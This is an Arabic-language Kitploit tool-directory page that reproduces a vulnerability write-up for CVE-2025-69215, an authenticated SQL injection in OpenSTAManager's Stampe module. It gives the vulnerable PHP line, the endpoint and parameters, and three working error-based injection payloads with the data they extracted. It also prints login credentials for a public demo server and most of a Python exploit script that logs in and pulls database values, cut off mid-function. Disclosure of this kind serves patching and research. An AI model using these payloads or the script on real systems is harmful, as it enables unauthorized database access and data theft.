Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-69215 — CVE-2025-69215 - OpenSTAManager يعاني من ثغرة حقن SQL في وحدة Stampe | Kitploit
أدوات/GitHubGitHub/lukasz-rybak/cve-2025-69215
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأمن قواعد البيانات
GitHublukasz-rybak/cve-2025-69215

CVE-2025-69215

CVE-2025-69215 - OpenSTAManager يعاني من ثغرة حقن SQL في وحدة Stampe

عرض المستودع
10منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-69215: OpenSTAManager يحتوي على ثغرة حقن SQL في وحدة Stampe

نظرة عامة

الحقلالتفاصيل
معرف CVECVE-2025-69215
الخطورةHIGH
الاستشارة الأمنيةعرض الاستشارة
اكتُشفت بواسطةLukasz Rybak

المنتجات المتأثرة

  • devcode-it/openstamanager (الإصدارات: <= 2.9.8)

تصنيف CWE

  • CWE-89: المعالجة غير الصحيحة للعناصر الخاصة المستخدمة في أمر SQL ('حقن SQL')

التفاصيل

تفاصيل الثغرة

الموقع

  • الملف: modules/stampe/actions.php
  • السطر: 26
  • الكود الضعيف:
case 'update':
    if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
        $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));
        // ↑ Direct concatenation without prepare() sanitization
    }

السبب الجذري

يتم دمج معامل module القادم من بيانات POST مباشرةً في استعلام SQL من نوع UPDATE دون استخدام دالة التعقيم prepare(). وبينما يتم التحقق من معامل predefined باستخدام intval()، فإن معامل module يخضع فقط لفحص !empty()، وهو ما لا يمنع حقن SQL.

النمط الضعيف:

// Line 25: intval() protects predefined, but module is not sanitized!
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
    // Line 26: Direct concatenation - VULNERABLE
    $dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));
}

الاستغلال

النقطة الطرفية القابلة للاستغلال

POST /modules/stampe/actions.php

المعلمات المطلوبة

op=update
id_record=1
predefined=1 (must be non-zero after intval())
module=[INJECTION_PAYLOAD]
title=Test
filename=test.pdf

متطلب المصادقة

  • يتطلب جلسة مصادقة صالحة (أي مستخدم لديه صلاحية الوصول إلى وحدة Stampe)
  • مُتحقق منه: يمكن للمستخدمين الذين لديهم صلاحية الوصول إلى مجموعة "Tecnici" استغلال الثغرة (وليست مقتصرة على المسؤولين فقط!)
  • إثبات المفهوم (PoC): عرض تجريبي على https://demo.osmbusiness.it ببيانات الاعتماد tecnico/tecnicotecnico

نوع الاستغلال

حقن SQL القائم على الأخطاء باستخدام دوال EXTRACTVALUE/UPDATEXML/GTID_SUBSET الخاصة بـ MySQL

إثبات المفهوم

الطريقة الأولى: EXTRACTVALUE (MySQL 5.1+)

POST /modules/stampe/actions.php
Content-Type: application/x-www-form-urlencoded

op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf

النتيجة:

صورة

البيانات المستخرجة: إصدار MySQL 8.3.0


الطريقة الثانية: GTID_SUBSET (MySQL 5.6+)

module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)

النتيجة:

صورة

البيانات المستخرجة: اسم قاعدة البيانات openstamanager


الطريقة الثالثة: UPDATEXML (MySQL 5.1+)

module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)

النتيجة:

صورة

البيانات المستخرجة: مستخدم قاعدة البيانات [email protected]


الاستغلال الآلي

نص الاستغلال الكامل: exploit_stampe_sqli.py

#!/usr/bin/env python3
"""
SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php

Usage:
    python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico
    python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local
"""

import requests
import re
import argparse
import sys
from html import unescape
from urllib.parse import urljoin

class StampeSQLiExploit:
    def __init__(self, base_url, username, password, verbose=False):
        self.base_url = base_url.rstrip('/')
        self.username = username
        self.password = password
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'
        })

    def login(self):
        """Authenticate with username and password"""
        login_url = urljoin(self.base_url, '/index.php')

        if self.verbose:
            print(f"[DEBUG] Attempting login to {login_url}")
            print(f"[DEBUG] Username: {self.username}")

        # First, get the login page to establish session
        resp = self.session.get(login_url)
        if self.verbose:
            print(f"[DEBUG] Initial GET status: {resp.status_code}")

        # Send login credentials with op=login parameter (required!)
        login_data = {
            'username': self.username,
            'password': self.password,
            'op': 'login',  # Required for OpenSTAManager
        }

        resp = self.session.post(login_url, data=login_data, allow_redirects=True)

        if self.verbose:
            print(f"[DEBUG] Login POST status: {resp.status_code}")
            print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}")

        # Check if login was successful
        if 'PHPSESSID' not in self.session.cookies:
            print("[-] Login failed: No session cookie received")
            return False

        # Check if we're redirected to dashboard or still on login page
        if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():
            print("[-] Login failed: Still on login page")
            if self.verbose:
                print(f"[DEBUG] Current URL: {resp.url}")
            return False

        print(f"[+] Successfully logged in as '{self.username}'")
        print(f"[+] Session: {self.session.cookies.get('PHPSESSID')}")
        return True

    def inject(self, sql_query):
        """Execute SQL injection payload"""
        # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)
        payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)"

        target_url = urljoin(self.base_url, '/modules/stampe/actions.php')

        if self.verbose:
            print(f"[DEBUG] Target: {target_url}")
            print(f"[DEBUG] Payload: {payload}")

        response = self.session.post(
            target_url,
            data={
                "op": "update",
                "id_record": "1",
                "predefined": "1",
                "module": payload,
                "title": "Test",
                "filename": "test.pdf"
            }
        )

        if self.verbose:
            print(f"[DEBUG] Response status: {response.status_code}")
            print(f"[DEBUG] Response length: {len(response.text)}")

        # Unescape HTML entities first
        response_text = unescape(response.text)

        # Pattern 1: XPATH syntax error with HTML entities or quotes
        # Matches: XPATH syntax error: '~data~' or &#039;~data~&#039;
        xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE)
        if xpath_match:
            result = xpath_match.group(1)
            if self.verbose:
                print(f"[DEBUG] Extracted via XPATH pattern: {result}")
            return result

        # Pattern 2: Look in HTML comments (demo puts errors in comments)
        # <!--...XPATH syntax error: '~data~'...-->
        comment_match = re.search(r"<!--.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?.*?-->", response_text, re.DOTALL | re.IGNORECASE)
        if comment_match:
            result = comment_match.group(1)
            if self.verbose:
                print(f"[DEBUG] Extracted from HTML comment: {result}")
            return result
تنزيل الأداة